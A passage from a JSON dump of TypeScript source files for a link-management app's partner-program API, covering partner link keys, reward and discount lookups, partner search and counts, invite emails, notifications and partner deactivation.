    "content": "import { ErrorCodes } from \"@/lib/api/errors\";\nimport {\n  CreatePartnerProps,\n  ProcessedLinkProps,\n  ProgramProps,\n  WorkspaceProps,\n} from \"@/lib/types\";\nimport { nanoid } from \"@dub/utils\";\nimport slugify from \"@sindresorhus/slugify\";\nimport { DubApiError } from \"../errors\";\nimport { processLink } from \"../links/process-link\";\n\nexport function derivePartnerLinkKey({\n  key,\n  username,\n  name,\n  email,\n}: {\n  key?: string;\n  username?: string | null;\n  name?: string | null;\n  email: string;\n}) {\n  if (key) {\n    return key;\n  }\n\n  if (username) {\n    return username;\n  }\n\n  if (name) {\n    return slugify(name);\n  }\n\n  return slugify(email.split(\"@\")[0]);\n}\n\ntype PartnerDefaultLinkProps = CreatePartnerProps[\"linkProps\"] & {\n  key?: string;\n};\n\nexport function buildPartnerDefaultLinkKey({\n  link,\n  partner,\n  hasMoreThanOneDefaultLink,\n}: {\n  link?: PartnerDefaultLinkProps;\n  partner: Pick<CreatePartnerProps, \"name\" | \"email\" | \"username\" | \"tenantId\">;\n  hasMoreThanOneDefaultLink: boolean;\n}) {\n  if (link?.key) {\n    return link.key;\n  }\n\n  let slug = derivePartnerLinkKey({\n    username: partner.username,\n    name: partner.name,\n    email: partner.email,\n  });\n\n  if (hasMoreThanOneDefaultLink) {\n    slug = `${slug}-${nanoid(4).toLowerCase()}`;\n  }\n\n  if (link?.prefix) {\n    return `${link.prefix.replace(/^\\/|\\/$/g, \"\")}/${slug}`;\n  }\n\n  return slug;\n}\n\ninterface GeneratePartnerLinkInput {\n  workspace: Pick<WorkspaceProps, \"id\" | \"plan\">;\n  program: Pick<ProgramProps, \"defaultFolderId\" | \"id\">;\n  partner: Omit<CreatePartnerProps, \"linkProps\"> & { id?: string };\n  link: CreatePartnerProps[\"linkProps\"] & {\n    domain: string;\n    url: string;\n    key?: string;\n    partnerGroupDefaultLinkId?: string | null;\n  };\n  userId?: string;\n}\n\n// Generates and processes a partner link without creating it\nexport const generatePartnerLink = async ({\n  workspace,\n  program,\n  partner,\n  link,\n  userId,\n}: GeneratePartnerLinkInput) => {\n  const { name, email, username } = partner;\n\n  let processedLink: ProcessedLinkProps;\n  let error: string | null;\n  let code: ErrorCodes | null;\n\n  // generate a key for the link\n  let currentKey = derivePartnerLinkKey({\n    key: link.key,\n    username,\n    name,\n    email,\n  });\n\n  while (true) {\n    const result = await processLink<{\n      partnerGroupDefaultLinkId?: string | null;\n    }>({\n      workspace: {\n        id: workspace.id,\n        plan: workspace.plan,\n        users: [{ role: \"owner\" }], // TODO: apply folders RBAC to generatePartnerLink checks\n      },\n      userId,\n      payload: {\n        ...link,\n        key: currentKey,\n        trackConversion: true,\n        programId: program.id,\n        folderId: program.defaultFolderId,\n        partnerId: partner.id,\n        tenantId: partner.tenantId,\n      },\n    });\n\n    if (\n      result.code === \"conflict\" &&\n      result.error.startsWith(\"Duplicate key\")\n    ) {\n      currentKey = `${currentKey}-${nanoid(4).toLowerCase()}`;\n      continue;\n    }\n\n    // if we get here, either there was a different error or it succeeded\n    processedLink = result.link as ProcessedLinkProps;\n    error = result.error;\n    code = result.code as ErrorCodes;\n    break;\n  }\n\n  if (error != null) {\n    console.error(\"Error generating partner link\", error);\n\n    throw new DubApiError({\n      code: code as ErrorCodes,\n      message: error,\n    });\n  }\n\n  return processedLink;\n};\n"
  },
  {
    "path": "apps/web/lib/api/partners/get-discount-or-throw.ts",
    "content": "import { DiscountSchema } from \"@/lib/zod/schemas/discount\";\nimport { prisma } from \"@dub/prisma\";\nimport { DubApiError } from \"../errors\";\n\nexport async function getDiscountOrThrow({\n  discountId,\n  programId,\n}: {\n  discountId: string;\n  programId: string;\n}) {\n  const discount = await prisma.discount.findUnique({\n    where: {\n      id: discountId,\n    },\n  });\n\n  if (!discount) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Discount not found.\",\n    });\n  }\n\n  if (discount.programId !== programId) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Discount does not belong to this program.\",\n    });\n  }\n\n  return DiscountSchema.parse(discount);\n}\n"
  },
  {
    "path": "apps/web/lib/api/partners/get-group-rewards-and-bounties.ts",
    "content": "import { formatDiscountDescription } from \"@/ui/partners/format-discount-description\";\nimport { formatRewardDescription } from \"@/ui/partners/format-reward-description\";\nimport { BountyType, EventType, Reward } from \"@dub/prisma/client\";\nimport { getGroupOrThrow } from \"../groups/get-group-or-throw\";\nimport { serializeReward } from \"./serialize-reward\";\n\nconst REWARD_ICONS: Record<EventType, string> = {\n  click: \"https://assets.dub.co/email-assets/icons/cursor-rays.png\",\n  lead: \"https://assets.dub.co/email-assets/icons/user-plus.png\",\n  sale: \"https://assets.dub.co/email-assets/icons/invoice-dollar.png\",\n};\n\nconst BOUNTY_ICONS: Record<BountyType, string> = {\n  submission: \"https://assets.dub.co/email-assets/icons/heart.png\",\n  performance: \"https://assets.dub.co/email-assets/icons/trophy.png\",\n};\n\nexport async function getGroupRewardsAndBounties({\n  programId,\n  groupId,\n}: {\n  programId: string;\n  groupId: string;\n}) {\n  const group = await getGroupOrThrow({\n    programId,\n    groupId,\n    includeExpandedFields: true,\n    includeBounties: true,\n  });\n\n  return {\n    rewards: [\n      ...[group.clickReward, group.leadReward, group.saleReward]\n        .filter((r): r is Reward => r !== null)\n        .map((reward) => ({\n          label: formatRewardDescription(serializeReward(reward)),\n          icon: REWARD_ICONS[reward.event],\n        })),\n      ...(group.discount\n        ? [\n            {\n              label: formatDiscountDescription(group.discount),\n              icon: \"https://assets.dub.co/email-assets/icons/gift.png\",\n            },\n          ]\n        : []),\n    ],\n    bounties: (group.bounties ?? []).map((bounty) => ({\n      icon: BOUNTY_ICONS[bounty.type],\n      label: bounty.name,\n    })),\n    group,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/api/partners/get-network-invites-usage.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Project } from \"@dub/prisma/client\";\nimport { getBillingStartDate } from \"@dub/utils\";\n\nexport async function getNetworkInvitesUsage(\n  workspace: Pick<Project, \"id\" | \"billingCycleStart\">,\n) {\n  const invites = await prisma.discoveredPartner.aggregate({\n    _count: true,\n    where: {\n      program: {\n        workspaceId: workspace.id,\n      },\n      OR: [\n        {\n          invitedAt: {\n            gt: getBillingStartDate(workspace.billingCycleStart),\n          },\n        },\n        {\n          messagedAt: {\n            gt: getBillingStartDate(workspace.billingCycleStart),\n          },\n        },\n      ],\n    },\n  });\n\n  return invites._count;\n}\n"
  },
  {
    "path": "apps/web/lib/api/partners/get-partner-rewind.ts",
    "content": "import { PartnerRewindProps } from \"@/lib/types\";\nimport { PartnerRewindSchema } from \"@/lib/zod/schemas/partners\";\nimport { REWIND_YEAR } from \"@/ui/partners/rewind/constants\";\nimport { prisma } from \"@dub/prisma\";\n\nexport async function getPartnerRewind({\n  partnerId,\n}: {\n  partnerId: string;\n}): Promise<PartnerRewindProps | null> {\n  const rewinds = await prisma.$queryRaw<\n    {\n      totalClicks: number;\n      totalLeads: number;\n      totalRevenue: number;\n      totalEarnings: number;\n      clicksPercentile: any; // Decimal\n      leadsPercentile: any; // Decimal\n      revenuePercentile: any; // Decimal\n      earningsPercentile: any; // Decimal\n    }[]\n  >`\n    SELECT\n      pr.id,\n      pr.partnerId,\n      pr.year,\n      pr.totalClicks,\n      pr.totalLeads,\n      pr.totalRevenue,\n      pr.totalEarnings,\n      CASE WHEN pr.totalClicks > 0 THEN ROUND(\n        100 - 100 * (SELECT COUNT(*) FROM PartnerRewind c WHERE c.year = pr.year AND c.totalClicks >= pr.totalClicks)\n            / (SELECT COUNT(*) FROM PartnerRewind WHERE year = pr.year)\n      ) ELSE 0 END AS clicksPercentile,\n      CASE WHEN pr.totalLeads > 0 THEN ROUND(\n        100 - 100 * (SELECT COUNT(*) FROM PartnerRewind c WHERE c.year = pr.year AND c.totalLeads >= pr.totalLeads)\n            / (SELECT COUNT(*) FROM PartnerRewind WHERE year = pr.year)\n      ) ELSE 0 END AS leadsPercentile,\n      CASE WHEN pr.totalRevenue > 0 THEN ROUND(\n        100 - 100 * (SELECT COUNT(*) FROM PartnerRewind c WHERE c.year = pr.year AND c.totalRevenue >= pr.totalRevenue)\n            / (SELECT COUNT(*) FROM PartnerRewind WHERE year = pr.year)\n      ) ELSE 0 END AS revenuePercentile,\n      CASE WHEN pr.totalEarnings > 0 THEN ROUND(\n        100 - 100 * (SELECT COUNT(*) FROM PartnerRewind c WHERE c.year = pr.year AND c.totalEarnings >= pr.totalEarnings)\n            / (SELECT COUNT(*) FROM PartnerRewind WHERE year = pr.year)\n      ) ELSE 0 END AS earningsPercentile\n    FROM PartnerRewind pr\n    WHERE\n      pr.partnerId = ${partnerId}\n      AND pr.year = ${REWIND_YEAR}`;\n\n  if (!rewinds.length) return null;\n\n  return PartnerRewindSchema.parse({\n    ...rewinds[0],\n    clicksPercentile: Number(rewinds[0].clicksPercentile),\n    leadsPercentile: Number(rewinds[0].leadsPercentile),\n    revenuePercentile: Number(rewinds[0].revenuePercentile),\n    earningsPercentile: Number(rewinds[0].earningsPercentile),\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/api/partners/get-partner-users.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { PartnerNotificationPreferences } from \"@dub/prisma/client\";\n\ntype PartnerNotificationPreference = keyof Omit<\n  PartnerNotificationPreferences,\n  \"id\" | \"partnerUserId\"\n>;\n\ninterface GetPartnerUsersParams {\n  partnerIds: string[];\n  notificationPreference?: PartnerNotificationPreference;\n}\n\nexport async function getPartnerUsers({\n  partnerIds,\n  notificationPreference,\n}: GetPartnerUsersParams) {\n  if (partnerIds.length === 0) {\n    return [];\n  }\n\n  const partnerUsers = await prisma.partnerUser.findMany({\n    where: {\n      partnerId: {\n        in: partnerIds,\n      },\n      ...(notificationPreference && {\n        notificationPreferences: {\n          [notificationPreference]: true,\n        },\n      }),\n      user: {\n        email: {\n          not: null,\n        },\n      },\n    },\n    select: {\n      partner: {\n        select: {\n          id: true,\n          name: true,\n        },\n      },\n      user: {\n        select: {\n          id: true,\n          name: true,\n          email: true,\n        },\n      },\n    },\n  });\n\n  return partnerUsers;\n}\n"
  },
  {
    "path": "apps/web/lib/api/partners/get-partners-count.ts",
    "content": "import { partnersCountQuerySchema } from \"@/lib/zod/schemas/partners\";\nimport { prisma, sanitizeFullTextSearch } from \"@dub/prisma\";\nimport { Prisma, ProgramEnrollmentStatus } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\n\ntype PartnersCountFilters = z.infer<typeof partnersCountQuerySchema> & {\n  programId: string;\n};\n\nexport async function getPartnersCount<T>(\n  filters: PartnersCountFilters,\n): Promise<T> {\n  const {\n    groupBy,\n    status,\n    country,\n    search,\n    email,\n    partnerIds,\n    groupId,\n    programId,\n  } = filters;\n\n  const commonWhere: Prisma.PartnerWhereInput = {\n    ...(email\n      ? { email }\n      : search\n        ? search.includes(\"@\")\n          ? { email: search }\n          : {\n              email: { search: sanitizeFullTextSearch(search) },\n              name: { search: sanitizeFullTextSearch(search) },\n              companyName: { search: sanitizeFullTextSearch(search) },\n            }\n        : {}),\n    ...(partnerIds && {\n      id: { in: partnerIds },\n    }),\n  };\n\n  // Get partner count by country\n  if (groupBy === \"country\") {\n    const partners = await prisma.partner.groupBy({\n      by: [\"country\"],\n      where: {\n        programs: {\n          some: {\n            programId,\n            ...(groupId && {\n              groupId,\n            }),\n            status,\n          },\n        },\n        ...commonWhere,\n      },\n      _count: true,\n      orderBy: {\n        _count: {\n          country: \"desc\",\n        },\n      },\n    });\n\n    return partners as T;\n  }\n\n  // Get partner count by status\n  if (groupBy === \"status\") {\n    const partners = await prisma.programEnrollment.groupBy({\n      by: [\"status\"],\n      where: {\n        programId,\n        ...(groupId && {\n          groupId,\n        }),\n        partner: {\n          ...(country && {\n            country,\n          }),\n          ...commonWhere,\n        },\n      },\n      _count: true,\n      orderBy: {\n        _count: {\n          status: \"desc\",\n        },\n      },\n    });\n\n    // Find missing statuses\n    const missingStatuses = Object.values(ProgramEnrollmentStatus).filter(\n      (status) => !partners.some((p) => p.status === status),\n    );\n\n    // Add missing statuses with count 0\n    missingStatuses.forEach((status) => {\n      partners.push({ _count: 0, status });\n    });\n\n    return partners as T;\n  }\n\n  // Get partner count by group\n  if (groupBy === \"groupId\") {\n    const partners = await prisma.programEnrollment.groupBy({\n      by: [\"groupId\"],\n      where: {\n        programId,\n        partner: {\n          ...(country && {\n            country,\n          }),\n          ...commonWhere,\n        },\n        status,\n      },\n      _count: true,\n      orderBy: {\n        _count: {\n          groupId: \"desc\",\n        },\n      },\n    });\n\n    return partners as T;\n  }\n\n  // Get absolute count of partners\n  const count = await prisma.programEnrollment.count({\n    where: {\n      programId,\n      status,\n      ...(groupId && {\n        groupId,\n      }),\n      partner: {\n        ...(country && {\n          country,\n        }),\n        ...commonWhere,\n      },\n    },\n  });\n\n  return count as T;\n}\n"
  },
  {
    "path": "apps/web/lib/api/partners/get-partners.ts",
    "content": "import { getPartnersQuerySchemaExtended } from \"@/lib/zod/schemas/partners\";\nimport { prisma, sanitizeFullTextSearch } from \"@dub/prisma\";\nimport { toCentsNumber } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\n\ntype PartnerFilters = z.infer<typeof getPartnersQuerySchemaExtended> & {\n  programId: string;\n};\n\nexport async function getPartners(filters: PartnerFilters) {\n  const {\n    status,\n    country,\n    search,\n    email,\n    tenantId,\n    partnerIds,\n    page = 1,\n    pageSize,\n    sortBy,\n    sortOrder,\n    programId,\n    groupId,\n  } = filters;\n\n  const partners = await prisma.programEnrollment.findMany({\n    where: {\n      tenantId,\n      programId,\n      ...(partnerIds && {\n        partnerId: {\n          in: partnerIds,\n        },\n      }),\n      status,\n      groupId,\n      ...(country || search || email\n        ? {\n            partner: {\n              country,\n              ...(email\n                ? { email }\n                : search\n                  ? search.includes(\"@\")\n                    ? { email: search }\n                    : {\n                        email: { search: sanitizeFullTextSearch(search) },\n                        name: { search: sanitizeFullTextSearch(search) },\n                        companyName: { search: sanitizeFullTextSearch(search) },\n                      }\n                  : {}),\n            },\n          }\n        : {}),\n    },\n    include: {\n      partner: {\n        include: {\n          platforms: true,\n        },\n      },\n      links: true,\n    },\n    take: pageSize,\n    skip: (page - 1) * pageSize,\n    orderBy: {\n      [sortBy]: sortOrder,\n    },\n  });\n\n  return partners.map(({ partner, links, ...programEnrollment }) => ({\n    ...partner,\n    ...programEnrollment,\n    id: partner.id,\n    createdAt: new Date(programEnrollment.createdAt),\n    links,\n    netRevenue:\n      toCentsNumber(programEnrollment.totalSaleAmount ?? 0) -\n      toCentsNumber(programEnrollment.totalCommissions ?? 0),\n  }));\n}\n"
  },
  {
    "path": "apps/web/lib/api/partners/get-reward-or-throw.ts",
    "content": "import { RewardSchema } from \"@/lib/zod/schemas/rewards\";\nimport { prisma } from \"@dub/prisma\";\nimport { DubApiError } from \"../errors\";\n\nexport async function getRewardOrThrow({\n  rewardId,\n  programId,\n}: {\n  rewardId: string;\n  programId: string;\n}) {\n  const reward = await prisma.reward.findUnique({\n    where: {\n      id: rewardId,\n    },\n  });\n\n  if (!reward) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Reward not found.\",\n    });\n  }\n\n  if (reward.programId !== programId) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Reward does not belong to the program.\",\n    });\n  }\n\n  return RewardSchema.parse(reward);\n}\n"
  },
  {
    "path": "apps/web/lib/api/partners/invite-partner-user.ts",
    "content": "import { Session, hashToken } from \"@/lib/auth\";\nimport { PartnerProps } from \"@/lib/types\";\nimport { sendEmail } from \"@dub/email\";\nimport PartnerUserInvited from \"@dub/email/templates/partner-user-invited\";\nimport { prisma } from \"@dub/prisma\";\nimport { PartnerRole } from \"@dub/prisma/client\";\nimport { PARTNERS_DOMAIN, TWO_WEEKS_IN_SECONDS } from \"@dub/utils\";\nimport { randomBytes } from \"crypto\";\nimport { DubApiError } from \"../errors\";\n\nexport async function invitePartnerUser({\n  email,\n  role,\n  partner,\n  session,\n}: {\n  email: string;\n  role: PartnerRole;\n  partner: Omit<PartnerProps, \"role\" | \"userId\">;\n  session: Session;\n}) {\n  const token = randomBytes(32).toString(\"hex\");\n  const expires = new Date(Date.now() + TWO_WEEKS_IN_SECONDS * 1000);\n\n  try {\n    await prisma.partnerInvite.create({\n      data: {\n        partnerId: partner.id,\n        email,\n        role,\n        expires,\n      },\n    });\n  } catch (error) {\n    if (error.code === \"P2002\") {\n      throw new DubApiError({\n        code: \"conflict\",\n        message: \"User has already been invited to this partner profile.\",\n      });\n    }\n  }\n\n  await prisma.verificationToken.create({\n    data: {\n      identifier: email,\n      token: await hashToken(token, { secret: true }),\n      expires,\n    },\n  });\n\n  const params = new URLSearchParams({\n    callbackUrl: `${PARTNERS_DOMAIN}/invite`,\n    email,\n    token,\n  });\n\n  const url = `${PARTNERS_DOMAIN}/api/auth/callback/email?${params}`;\n\n  return await sendEmail({\n    subject: `You've been invited to join a partner profile on Dub Partners.`,\n    to: email,\n    react: PartnerUserInvited({\n      email,\n      url,\n      partnerName: partner.name,\n      partnerUser: session?.user.name || null,\n      partnerUserEmail: session?.user.email || null,\n    }),\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/api/partners/notify-partner-application.ts",
    "content": "import { formatApplicationFormData } from \"@/lib/partners/format-application-form-data\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport { ResendBulkEmailOptions } from \"@dub/email/resend/types\";\nimport PartnerApplicationReceived from \"@dub/email/templates/partner-application-received\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  Partner,\n  PartnerGroup,\n  Program,\n  ProgramApplication,\n} from \"@dub/prisma/client\";\nimport { chunk } from \"@dub/utils\";\n\nexport async function notifyPartnerApplication({\n  partner,\n  program,\n  group,\n  application,\n}: {\n  partner: Partner;\n  program: Program;\n  group: Pick<PartnerGroup, \"autoApprovePartnersEnabledAt\"> | null;\n  application: ProgramApplication;\n}) {\n  const workspaceUsers = await prisma.projectUsers.findMany({\n    where: {\n      projectId: program.workspaceId,\n      notificationPreference: {\n        newPartnerApplication: true,\n      },\n      user: {\n        email: {\n          not: null,\n        },\n      },\n    },\n    include: {\n      user: {\n        select: {\n          email: true,\n        },\n      },\n      project: {\n        select: {\n          slug: true,\n        },\n      },\n    },\n  });\n\n  // Create all emails first, then chunk them into batches of 100\n  const allEmails: ResendBulkEmailOptions = workspaceUsers.map(\n    ({ user, project }) => ({\n      subject: `New partner application for ${program.name}`,\n      variant: \"notifications\",\n      to: user.email!,\n      react: PartnerApplicationReceived({\n        email: user.email!,\n        partner: {\n          id: partner.id,\n          name: partner.name,\n          email: partner.email!,\n          image: partner.image,\n          country: partner.country,\n          applicationFormData: formatApplicationFormData(application),\n        },\n        program: {\n          name: program.name,\n          autoApprovePartners: group?.autoApprovePartnersEnabledAt\n            ? true\n            : false,\n        },\n        workspace: {\n          slug: project.slug,\n        },\n      }),\n    }),\n  );\n\n  const emailChunks = chunk(allEmails, 100);\n\n  // Send all emails in batches\n  await Promise.all(\n    emailChunks.map((emailChunk) => sendBatchEmail(emailChunk)),\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/api/partners/notify-partner-commission.ts",
    "content": "import { sendBatchEmail } from \"@dub/email\";\nimport {\n  ResendBulkEmailOptions,\n  ResendEmailOptions,\n} from \"@dub/email/resend/types\";\nimport NewCommissionAlertPartner from \"@dub/email/templates/new-commission-alert-partner\";\nimport NewSaleAlertProgramOwner from \"@dub/email/templates/new-sale-alert-program-owner\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  Commission,\n  PartnerGroup,\n  Program,\n  Project,\n  User,\n} from \"@dub/prisma/client\";\nimport { chunk } from \"@dub/utils\";\n\n// Send email to partner and program owners when a commission is created\nexport async function notifyPartnerCommission({\n  program,\n  group,\n  workspace,\n  commission,\n  isFirstCommission,\n}: {\n  program: Pick<Program, \"name\" | \"slug\" | \"logo\" | \"supportEmail\">;\n  group: Pick<PartnerGroup, \"holdingPeriodDays\">;\n  workspace: Pick<Project, \"id\" | \"slug\" | \"name\">;\n  commission: Pick<\n    Commission,\n    \"type\" | \"amount\" | \"earnings\" | \"partnerId\" | \"linkId\"\n  >;\n  isFirstCommission: boolean;\n}) {\n  // Workspace owner emails are sent:\n  // - only for sale commissions\n  // - only for the first commission per partner–customer combination\n  const shouldNotifyProgram = commission.type === \"sale\" && isFirstCommission;\n\n  const [partner, workspaceUsers, partnerLink] = await Promise.all([\n    prisma.partner.findUnique({\n      where: {\n        id: commission.partnerId,\n      },\n      select: {\n        name: true,\n        email: true,\n        users: {\n          where: {\n            notificationPreferences: {\n              commissionCreated: true,\n            },\n          },\n          select: {\n            user: {\n              select: {\n                email: true,\n              },\n            },\n          },\n        },\n      },\n    }),\n\n    shouldNotifyProgram\n      ? prisma.projectUsers.findMany({\n          where: {\n            projectId: workspace.id,\n            notificationPreference: {\n              newPartnerSale: true,\n            },\n            user: {\n              email: {\n                not: null,\n              },\n            },\n          },\n          include: {\n            user: {\n              select: {\n                name: true,\n                email: true,\n              },\n            },\n          },\n        })\n      : Promise.resolve([] as { user: Pick<User, \"name\" | \"email\"> }[]),\n\n    commission.linkId\n      ? Promise.resolve(\n          prisma.link.findUnique({\n            where: {\n              id: commission.linkId,\n            },\n            select: {\n              shortLink: true,\n            },\n          }),\n        )\n      : Promise.resolve(null),\n  ]);\n\n  if (!partner) {\n    return;\n  }\n\n  const data = {\n    program: {\n      name: program.name,\n      slug: program.slug,\n      logo: program.logo,\n    },\n    group: {\n      holdingPeriodDays: group.holdingPeriodDays,\n    },\n    partner: {\n      id: commission.partnerId,\n      name: partner.name,\n      email: partner.email,\n    },\n    commission: {\n      type: commission.type,\n      amount: commission.amount,\n      earnings: commission.earnings,\n    },\n    shortLink: partnerLink?.shortLink ?? null,\n  };\n\n  const partnerEmailsToNotify = partner.users\n    .map(({ user }) => user.email)\n    .filter(Boolean) as string[];\n\n  // Create all emails first, then chunk them into batches of 100\n  const allEmails: ResendBulkEmailOptions = [\n    // Partner emails (for all commission types)\n    ...partnerEmailsToNotify.map(\n      (email) =>\n        ({\n          subject: \"You just made a commission via Dub Partners!\",\n          variant: \"notifications\",\n          to: email,\n          replyTo: program.supportEmail || \"noreply\",\n          react: NewCommissionAlertPartner({\n            email,\n            ...data,\n          }),\n        }) as ResendEmailOptions,\n    ),\n\n    ...(shouldNotifyProgram\n      ? workspaceUsers.map(\n          ({ user }) =>\n            ({\n              subject: `New customer referred by ${partner.name}`,\n              variant: \"notifications\",\n              to: user.email!,\n              react: NewSaleAlertProgramOwner({\n                ...data,\n                user: {\n                  name: user.name,\n                  email: user.email!,\n                },\n                workspace,\n              }),\n            }) as ResendEmailOptions,\n        )\n      : []),\n  ];\n\n  const emailChunks = chunk(allEmails, 100);\n\n  // Send all emails in batches\n  await Promise.all(\n    emailChunks.map((emailChunk) => sendBatchEmail(emailChunk)),\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/api/partners/notify-partner-group-change.ts",
    "content": "import { queueBatchEmail } from \"@/lib/email/queue-batch-email\";\nimport type PartnerGroupChanged from \"@dub/email/templates/partner-group-changed\";\nimport { getGroupRewardsAndBounties } from \"./get-group-rewards-and-bounties\";\nimport { getPartnerUsers } from \"./get-partner-users\";\n\ninterface NotifyPartnerGroupChangeParams {\n  programId: string;\n  groupId: string;\n  partnerIds: string[];\n}\n\n// Send email to partners when they are moved to a new group\nexport async function notifyPartnerGroupChange({\n  programId,\n  groupId,\n  partnerIds,\n}: NotifyPartnerGroupChangeParams) {\n  if (partnerIds.length === 0) {\n    return;\n  }\n\n  const [\n    {\n      rewards,\n      bounties,\n      group: { program },\n    },\n    partnerUsers,\n  ] = await Promise.all([\n    getGroupRewardsAndBounties({\n      programId,\n      groupId,\n    }),\n\n    getPartnerUsers({\n      partnerIds,\n    }),\n  ]);\n\n  await queueBatchEmail<typeof PartnerGroupChanged>(\n    partnerUsers.map(({ partner, user }) => ({\n      to: user.email!,\n      subject: `You've been moved to a new group in ${program.name}'s partner program!`,\n      variant: \"notifications\",\n      templateName: \"PartnerGroupChanged\",\n      templateProps: {\n        program: {\n          name: program.name,\n          logo: program.logo,\n          slug: program.slug,\n        },\n        partner: {\n          name: partner.name,\n          email: user.email!,\n        },\n        rewards,\n        bounties,\n      },\n    })),\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/api/partners/process-partner-deactivation.ts",
    "content": "import { Session } from \"@/lib/auth\";\nimport { qstash } from \"@/lib/cron\";\nimport { prisma } from \"@dub/prisma\";\nimport { Partner } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { recordAuditLog } from \"../audit-logs/record-audit-log\";\n\ninterface ProcessPartnerDeactivationParams {\n  workspaceId: string;\n  programId: string;\n  partners: Pick<Partner, \"id\" | \"name\" | \"email\">[];\n  user?: Session[\"user\"];\n  programDeactivated?: boolean;\n}\n\n// Core function that executes the deactivation logic\n// Called by both deactivatePartner and bulkDeactivatePartners\nexport async function processPartnerDeactivation({\n  workspaceId,\n  programId,\n  partners,\n  user,\n  programDeactivated = false,\n}: ProcessPartnerDeactivationParams) {\n  if (partners.length === 0) {\n    return;\n  }\n\n  const partnerIds = partners.map((p) => p.id);\n\n  await prisma.$transaction([\n    prisma.link.updateMany({\n      where: {\n        programId,\n        partnerId: {\n          in: partnerIds,\n        },\n      },\n      data: {\n        expiresAt: new Date(),\n      },\n    }),\n\n    prisma.programEnrollment.updateMany({\n      where: {\n        partnerId: {\n          in: partnerIds,\n        },\n        programId,\n      },\n      data: {\n        status: \"deactivated\",\n        clickRewardId: null,\n        leadRewardId: null,\n        saleRewardId: null,\n        discountId: null,\n      },\n    }),\n  ]);\n\n  console.log(\"[processPartnerDeactivation] Deactivated partners in program.\", {\n    programId,\n    partnerIds,\n  });\n\n  if (user) {\n    waitUntil(\n      recordAuditLog(\n        partners.map((partner) => ({\n          workspaceId,\n          programId,\n          action: \"partner.deactivated\",\n          description: `Partner ${partner.id} deactivated`,\n          actor: user,\n          targets: [\n            {\n              type: \"partner\",\n              id: partner.id,\n              metadata: {\n                name: partner.name,\n                email: partner.email,\n              },\n            },\n          ],\n        })),\n      ),\n    );\n  }\n\n  const qstashResponse = await qstash.publishJSON({\n    url: `${APP_DOMAIN_WITH_NGROK}/api/cron/partners/deactivate`,\n    body: {\n      programId,\n      partnerIds,\n      programDeactivated,\n    },\n  });\n\n  if (qstashResponse.messageId) {\n    console.log(\n      \"[processPartnerDeactivation] Deactivation job enqueued successfully.\",\n      {\n        response: qstashResponse,\n      },\n    );\n  } else {\n    console.error(\n      \"[processPartnerDeactivation] Failed to enqueue deactivation job\",\n      {\n        response: qstashResponse,\n      },\n    );\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/api/partners/serialize-reward.ts",
    "content": "import type { Reward } from \"@dub/prisma/client\";\nimport \"server-only\";\n\n// Convert Prisma.Decimal object to number\n// should not send Prisma.Decimal to the client\nexport function serializeReward(reward: Reward) {\n  return {\n    ...reward,\n    amountInPercentage:\n      reward.amountInPercentage != null\n        ? Number(reward.amountInPercentage)\n        : null,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/api/partners/sync-partner-links-stats.ts",
    "content": "import { publishPartnerActivityEvent } from \"@/lib/upstash/redis-streams\";\nimport { prisma } from \"@dub/prisma\";\n\n// syncs the total links stats for a partner in a program\nexport const syncPartnerLinksStats = async ({\n  partnerId,\n  programId,\n  eventType,\n}: {\n  partnerId: string;\n  programId: string;\n  eventType: \"click\" | \"lead\" | \"sale\";\n}) => {\n  try {\n    return await publishPartnerActivityEvent({\n      programId,\n      partnerId,\n      eventType,\n      timestamp: new Date().toISOString(),\n    });\n  } catch (error) {\n    console.error(\n      `[syncPartnerLinksStatsError]: Failed to sync ${eventType} stats for partner ${partnerId} in program ${programId}, falling back to direct database update...`,\n      error,\n    );\n\n    return await prisma.$transaction(async (tx) => {\n      const res = await tx.link.aggregate({\n        where: {\n          programId,\n          partnerId,\n        },\n        _sum: {\n          clicks: true,\n          leads: true,\n          conversions: true,\n          sales: true,\n          saleAmount: true,\n        },\n      });\n\n      const partnerLinkStats = {\n        totalClicks: res._sum.clicks ?? undefined,\n        totalLeads: res._sum.leads ?? undefined,\n        totalConversions: res._sum.conversions ?? undefined,\n        totalSales: res._sum.sales ?? undefined,\n        totalSaleAmount: res._sum.saleAmount ?? undefined,\n      };\n\n      console.log(\n        `Updating link stats for partner ${partnerId} in program ${programId} to ${JSON.stringify(partnerLinkStats)}`,\n      );\n\n      return await tx.programEnrollment.update({\n        where: {\n          partnerId_programId: { partnerId, programId },\n        },\n        data: partnerLinkStats,\n      });\n    });\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/api/partners/sync-total-commissions.ts",
